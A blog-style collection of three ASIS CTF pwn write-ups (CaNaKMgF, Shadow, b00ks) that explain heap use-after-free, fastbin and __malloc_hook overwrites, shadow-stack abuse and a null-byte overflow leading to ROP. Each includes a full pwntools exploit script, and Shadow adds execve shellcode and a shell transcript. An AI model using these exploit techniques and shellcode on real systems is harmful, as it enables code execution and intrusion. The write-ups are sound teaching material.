Asis CTF Quals 2017 CaNaKMgF write up

Solved by 4rbit3r

This time, ASIS Quals was held almost the same time as my exams. But I still managed to find time to play the CTF. This is one of the challenges that I found pretty interesting.

Most of the CTF’s nowadays have this challenge where you are given a menu driven program and you’re supposed to wreak havoc using the functionalities that it provides.

The idea behind these challenges is to check how good your knowledge of dlmalloc is. I’m still learning a lot of new stuff from every write-up I read of some challenge that is of a similar type.

So let’s start pwning this bin.

The same binary was given as two separate challenges. The second one only differed from the first in terms of protections enabled. The second had PIE and Full RELRO enabled whereas the first one didn’t.

So I’ll explain a method that can be used for both of the challenges. And after that I’ll explain how I actually solved the first one during the CTF.

Firstly, let’s start with the functionalities provided.

  • do_allocate : Ask user for size. Call malloc with size as argument and fill the chunk returned with user input (Max of size bytes). The pointer is then stored in a table of such pointers.
  • do_write : This function prints out the content of any filename that the user wants. But this functionality was removed in the second binary. This isn’t really relevant to the solution whatsoever.
  • do_free : As the name suggests, this free’s a chunk that the user specifies. Note that the table entry doesn’t get zeroed out. Possibility of a UAF.
  • do_read : Prints out the content of any entry in the table.

So, we have a UAF vulnerability. We can use that to force malloc to return an arbitrary pointer. But then we’d be in need of a memory leak. Let’s do that first.

The do_read function prints out the content of any table entry regardless of whether it has been free’d or not.

So we can abuse the fact that free chunks contain FD and BK pointers. If it is the only chunk in the linked list, then the FD and BK should be pointing to the main_arena. So we can use the do_read functionality to leak out the libc.

There is also a method to leak out the heap address. Although it isn’t really useful for this challenge, I’ll just explain it.

The simplest way would be to allocate two chunks of same size (smaller than 0x80). These chunks, if free’d would end up in the Fastbins. Now the fastbins are a group of singly linked lists. So if both of the chunks free’d are of the same size, then one of those would contain a pointer to the other. We could then use the do_read functionality on the last free’d chunk and leak out a pointer to the heap.

Alright, so we can now move on to the second part which would be forcing malloc to return an arbitrary pointer. Since PIE is enabled, performing a GOT table overwrite is out of the question. Full RELRO simply adds to that. So a viable target that can be overwritten is the __malloc_hook.

This is a function pointer that lies in the libc’s bss section. Usually, the value is null. If the value isn’t null, then the function pointer is invoked at every malloc or free.

So our objective would be to overwrite the __malloc_hook with something that would lead to a shell. Now in order to do that, we can use the fastbins method. We could overwrite the next pointer of one of the chunks in a fastbin. That would trick malloc into thinking that there is one more chunk in the fastbin. So requesting a size which is in the same size range as that of the chunk in the fastbin, would make malloc return the address that we control.

The only condition that has to be met is that the size has to be correctly set. It might be difficult to find some location with the correct size. So what we can do is use a pointer that one can easily find in libc’s bss. Every address starts with 0x7f followed by 5 more bytes. So, we can use an address such that only the 0x7f is considered as size.

Normal view.

Screenshot from 2017-04-19 18-44-45

What we’ll be using is this

Screenshot from 2017-04-19 18-47-37

You can see that, if we chose to view the memory 5 bytes misaligned, the size byte is correctly set. Malloc doesn’t put a constraint upon alignment or the precision of the size. So a size of 0x7f will pass the checks of a fastbin chunk of size 0x71.

Now to actually getting a arbitrary chunk returned by malloc in this situation, we can use the UAF vulnerabitlity. Allocate two chunks, free both of them. Free the first one again. Now allocate another chunk.

At this point, the same chunk will be under the user’s control as well as in the fastbin. So the next pointer is under the control of the user.

So, once all that is done, and we’ve got control over the __malloc_hook, the next question is what do we overwrite this pointer with ?

We’ve only got control over RIP, so the easiest method would be to use a One-Shot-RCE gadget.

To do that, you can use the one_gadget tool that I’ve found to be really helpful.

Once you’ve overwritten __malloc_hook with the address of the One-Shot-RCE, all that is left is to call malloc or free and wait for the shell to magically pop up.

I couldn’t land a shell by calling malloc, probably because of some constraints that weren’t met. But calling free did the trick.

Here’s the script.

from pwn import *
import sys


def allocate(size, payload):
    p.sendlineafter("away\n", "1")
    p.sendlineafter("? ", str(size))
    p.sendline(payload)


def remove(idx):
    p.sendlineafter("away\n", "3")
    p.sendlineafter("? ", str(idx))


def leak(idx, flag=False):
    p.sendlineafter("away\n", "4")
    p.sendlineafter("? ", str(idx))
    if flag is True:
        return 0
    msg = u64(p.recvline().strip().ljust(8, "\x00"))
    return msg


if __name__ == "__main__":
    if sys.argv[1] == "local":
        p = process("./remastered")
    elif sys.argv[1] == "remote":
        p = remote("128.199.85.217", 10001)
    allocate(2000, 'asdf')
    allocate(2000, 'asdf')
    remove(0)
    libc = leak(0) - 0x3c3b78
    log.success("Leaked libc @ {}".format(hex(libc)))
    allocate(0x60, 'asdf')
    allocate(0x60, 'asdf')
    remove(3)
    remove(2)
    remove(3)
    malloc_hook = libc + 0x3c3aed
    one_gadget = libc + 0xef6c4
    allocate(0x60, p64(malloc_hook))
    allocate(0x60, 'asdf')
    allocate(0x60, 'asdf')
    payload = fit({0x13: p64(one_gadget)})
    allocate(0x60, payload)
    remove(0)
    remove(0)
    p.interactive()

And well, that gave a shell.

Now onto the solution that I had used for the first bin.

I decided to use the same 0x7f method and tricked malloc into returning a pointer to the GOT table. After that, I went ahead and overwrote the GOT entry of strtoul with the address of system. The functionality we wish to choose is done by a read followed by a strtoul. So if I gave a string ‘sh’ as input, strtoul would be invoked with that and shell.

That works too. But this is the cleaner exploit and so it’s the only one I’m putting up here.

ASIS Finals 2016 Shadow Write up

Pretty nice challenges. Took me a while to get an exploit working but enjoyed the whole process.

Let’s take a look at the binary

$ checksec shadow

Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE

Alright, so NX is disabled. Pretty useful. The binary uses the concept of a shadow stack as mentioned in the write up of Shadow from MMA CTF’2nd. It saves the return addresses in a separate memory page. But the difference is that the shadow stack is created with rwx protections. So we can theoretically overwrite the saved return addresses. The call function saves the original return address to the shadow stack and writes the address of ret function to the original stack. This ret function, when called, pops the value at the top of the shadow stack and returns to that address.

The description says this much:

Check with the guard. Beware, he will not let you in if you are under 18.

If we look into the code of the program, we see that there isn’t really any overflow or format string attack anywhere except in the beerdesc function. But that function has canary enabled which is just going to make things difficult. Also there doesn’t seem to be any way of using negative integers in a signed comparison. But something which I noticed was that we could create as many chunks as needed. The program just prints out an extra message if we exceed 10 objects.

Following up on that idea, we find out that we can only create at max 712 objects. The pointer to each object is placed in a table in the bss segment. If we were to create a 713’th object, the pointer would be written into an unmapped area causing a segfault.

So Plan B. If we were to request a chunk of a large size, (larger than the top chunk can provide), we will be allocated a memory region that is adjacent to the page where the shadow stack exists. But even after that, the shadow stack pointer is nearly 200000 bytes away from the last word that we can control. If we were to request another chunk, we’d get it at a lower memory address which is just farther away from the top of the shadow stack. And since there’s no overflow possible in the heap chunks, we can’t overwrite the return address in that way.

Also, if we look at the code of add_one function, we see that it requests the size of description from the user, adds 9 to it and calls malloc with that value. It then reads the exact number of bytes the user specified into the chunk at offset 12. The first 4 bytes of the chunk is the size that the user specified. The next 4 bytes is the address of a function. This function pointer is selected at random from 4 functions all of which basically print out a message and return.

But the thing of importance in the add_one function is that, if we were to specify an out of bounds size, the function would call itself. Now a simple loop would have sufficed, but here it resorts to recursion. That is our vulnerability.

if ( len && len <= 0x100000 ){
ptr = call(malloc);
….
}
else {
call(add_one);
}

I first thought of calling the add_one function until the shadow stack pointer points to some location where the chunk will be allocated. But that memory location will get mmapped only when the chunk gets allocated. So we can, at most, move the function pointer by 4 bytes into the allocated chunk. But since the size that we requested is added by 9 and then passed to malloc, we cant really control the last 4 bytes of the allocated chunk. There might be some value of size which enables us to at least control the lower 2 bytes, but I didn’t bother to look.

What we can do instead is to use the recursions to our advantage. Looking at the code of beerdesc function, we can see this line of code which can be used.:

 call(*(beerlist[idx] + 4));

Which basically calls the function pointer of a chunk who’s index we specify.

So if we can move the shadow stack pointer far into the chunk allocated, we can overwrite the function pointer of that chunk with an address in the add_one function. Specifically, the function pointer would be overwritten with the address 0x080489F7 which is the address add_one should return to after calling printf.

080489F7    add esp, 0x10
080489FA   mov eax,0x0
080489FF    leave
08048A00   ret

This is where we can use the overflow in the beerdesc function. Once we overwrite the function pointer of the allocated chunk to this address, while calling the function pointer, the above code will be executed. And this code doesn’t check for canary integrity. So we can overflow and overwrite the return address of beerdesc and when it calls the function pointer of the allocated chunk, we get control of eip.

So putting it all together, the plan goes like this :

  • When prompted for nickname, give shellcode. This gets stored in the bss.
  • Allocate a chunk large enough to mmap the page adjacent to shadow stack.
  • Make add_one call itself by giving an out of bounds size until the function pointer of the first chunk has been overwritten.
  • Call beerdesc.
  • When prompted for index, send payload that will set idx to 0 and overwrites saved return address
  • Return address should be overwritten with the address of the shellcode.

The shellcode has to be null character free since it is being read in by scanf. Also the address of the nickname is 0x0804A520. The last character, 0x20, is a whitespace character. Proper nop sled should fix that.

Here’s the script:

from pwn import *
p=remote("shadow.asis-ctf.ir",31337)
shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload="\x90"*4+shellcode+"\x90"*8
p.sendline(payload)
p.sendline("1")
p.sendline("143340")
p.sendline("A"*143339)
p.sendline("1")
for x in range(0,86010):
	p.sendline("-1")
	if x == 86009 :
		print "Reached ",x
p.sendline("10")
p.sendline("A"*9)
p.sendline("2")
payload=fit({0:"0",116:p32(0x0804A524)},length=254)
p.sendline(payload)
p.recvuntil("yes:")
p.interactive()

 

And well, running that gave the flag:

python exploit.py
[+] Opening connection to shadow.asis-ctf.ir on port 31337: Done
Reached 86009
[*] Switching to interactive mode
$ ls
flag.txt
shadow
wrapper.sh
$ cat flag.txt
ASIS{732f9beb138dbca4e44d5d184c3074dc}
$ exit

 

Flag : ASIS{732f9beb138dbca4e44d5d184c3074dc}

ASIS CTF Quals 2016 b00ks Writeup

I couldn’t solve this problem during the CTF. But really enjoyed it.

At first glance, I expected a 150 point pwnable from ASIS CTF to be quite easy, but I was wrong. The binary was 64 bit and had NX, PIE and Full RELRO. There was no canary, although in the end it didn’t actually matter.

Getting into the disassembly, the program maintains a list of around 20 books. Each book is a structure which has an ID, Name, Description and a size. Something like:

stuct book{
int id;
char *name;
char *description;
int size;
}

The name and description buffers are malloc’d areas. The name buffer is allocated on the heap first, followed by the description buffer. After this, the structure object is also placed on the heap. There is also a buffer in the .bss which stores the authors name. Right after this buffer is our table which contains pointers to the different structure objects on the heap.

The only vulnerability which I found, after going through the disassembly for a while, was a memory leak and a null byte overflow.

At the beginning of the program, it asks us to enter an author name. If we enter 32 bytes, the buffer becomes contiguous to the table. So while printing out the details of an object, the address of the object is leaked.

Now, if we use the edit author’s name functionality, we can overflow a null byte into the table. This might not seem like much, but well, it can land a shell eventually.

Using this null byte overflow, the first entry of the table gets changed. The address of the first object changes from 0xdeadbeef to 0xdeadbe00. This latter value can be somewhere in the description buffer of the same object.

So essentially, I can create a fake structure in the description buffer of the first object which the program will try to access while performing the edit or print functions.

My first idea was something like this:

  • Create fake object in description.
  • Name of fake object is a GOT address.
  • Description of fake object points to the second object on the heap, which can be computed from the first memory leak.
  • Overflow null byte. (This is where the object 1 changes to my fake object)
  • Leak some libc function’s address using the print functionality.
  • Edit description of object 1 (This edits the title and description pointers of object 2 to point to preferably the saved rip).
  • Edit description of object 2 (This where I can overwrite saved rip).
  • ROP.
  • Quit.

However, this idea couldn’t be implemented due to the fact that GOT was randomized with a different base than the heap. And also the GOT was read-only. So, new plan.

It was only after I got some help, that I learned something new.

If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment. So if I request a second book whose title and description are say 0x21000 bytes, they are allocated in the aforementioned area.

And with the help of GDB, I found a pointer to the stack lying in the libc’s bss. So all that was needed was to change the name or description pointers of the second object to the address where the stack pointer was and then print it out.

So the plan went like this:

  • Leak address of object 1 using the first memory leak.
  • Allocate a second object whose name and description buffers are 0x21000 bytes.
  • Create fake chunk in object 1’s description.
  • Fake chunk’s name and description pointers point to second object.
  • Overflow null byte.
  • Using print function, print the object 1’s name and description i.e the address of chunks located in the newly mmap’d areas.
  • Using edit function on object 1, edit the description of object 1 i.e change the name and description pointers of object 2 to address of stack pointer
  • Use print function to print object 2’s name and description i.e the stack pointer.
  • Use edit function on object 1 to change the name and description of object 2 to the saved rip.
  • Use edit function on object 2 and fill stack with ROP chain.
  • Quit.

And well that worked. Here’s the script.

from pwn import *
def memleak1(p):
      p.sendline("4")
      log.info(p.recvuntil("Author:"))
      msg=p.recvline()
      log.info(p.recvuntil(">"))
      msg=msg.split("A"*32)[1].strip("\n")
      context.bits=len(msg)*8
      addr=unpack(msg)
      log.success("Leaked address of struct object : "+hex(addr))
      context.bits=64
      return addr
def memleak2(p):
      p.sendline("4")
      log.info(p.recvuntil("Name: "))
      msg=p.recvline().strip("\n")
      context.bits=len(msg)*8
      log.info(p.recv(timeout=1))
      log.success("Leaked address of allocated area "+hex(unpack(msg)))
      return unpack(msg)
def memleak3(p):
      p.sendline("4")
      log.info(p.recvuntil("2\n"))
      log.info(p.recvuntil("Name: "))
      msg=p.recvline().strip("\n")
      context.bits=len(msg)*8
      log.info(p.recv(timeout=1))
      log.success("Leaked stack pointer "+hex(unpack(msg)))
      return unpack(msg)
def change_ptr(p):
      log.progress("Changing the struct pointer")
      p.sendline("5")
      log.info(p.recvuntil(":"))
      p.sendline("A"*32)
      log.info(p.recvuntil(">"))
      p.sendline("4")
def fake_obj(p,payload,index):
      log.progress("Editing description")
      p.sendline("3")
      log.info(p.recvuntil(":"))
      p.sendline("1")
         log.info(p.recvuntil(":"))
         payload=fit({index:payload},length=index+32)
      p.sendline(payload)
def create_book(p,size):
      p.sendline("1")
      log.info(p.recvuntil(":"))
      p.sendline(str(size))
      log.info(p.recvuntil(":"))
      p.sendline("asdf")
      log.info(p.recvuntil(":"))
      p.sendline(str(size))
      log.info(p.recvuntil(":"))
      p.sendline("asdf")
      log.info(p.recvuntil(">"))
def final_edit(p,payload):
      p.sendline("3")
      log.info(p.recvuntil(":"))
      p.sendline("2")
      log.info(p.recvuntil(":"))
      p.sendline(payload)
      log.info(p.recvuntil(">"))
      p.sendline("6")
      p.interactive()

 p=process("b00ks")

 log.info(p.recvuntil(":"))
 p.sendline("A"*32)
 log.info(p.recvuntil(">"))

 create_book(p,140)

 addr=memleak1(p)+56                   #address of second object on heap

 create_book(p,135168)                 #allocate new area

 payload=pack(0x1)+pack(addr)*2+pack(0xffff) #fake obj
 fake_obj(p,payload,80)                

 change_ptr(p)                         #null overflow

 addr=memleak2(p)                 #address of stack pointer

 context.bits=64
 payload=pack(addr+141872)*2           #change desc and title of 2 to address of stack ptr.
 fake_obj(p,payload,0)                 

 addr1=memleak3(p)-40
 context.bits=64
 payload=pack(addr1)*2                 #change desc and title of 2 to saved rip
 fake_obj(p,payload,0)

 system=addr-5601744
 pop_rdi=addr-1932792
 pop_rsi=addr-5740555
 binsh=addr-4330293

 payload=pack(pop_rsi)+pack(0)+pack(pop_rdi)+pack(binsh)+pack(system)
 final_edit(p,payload)                 #ROP chain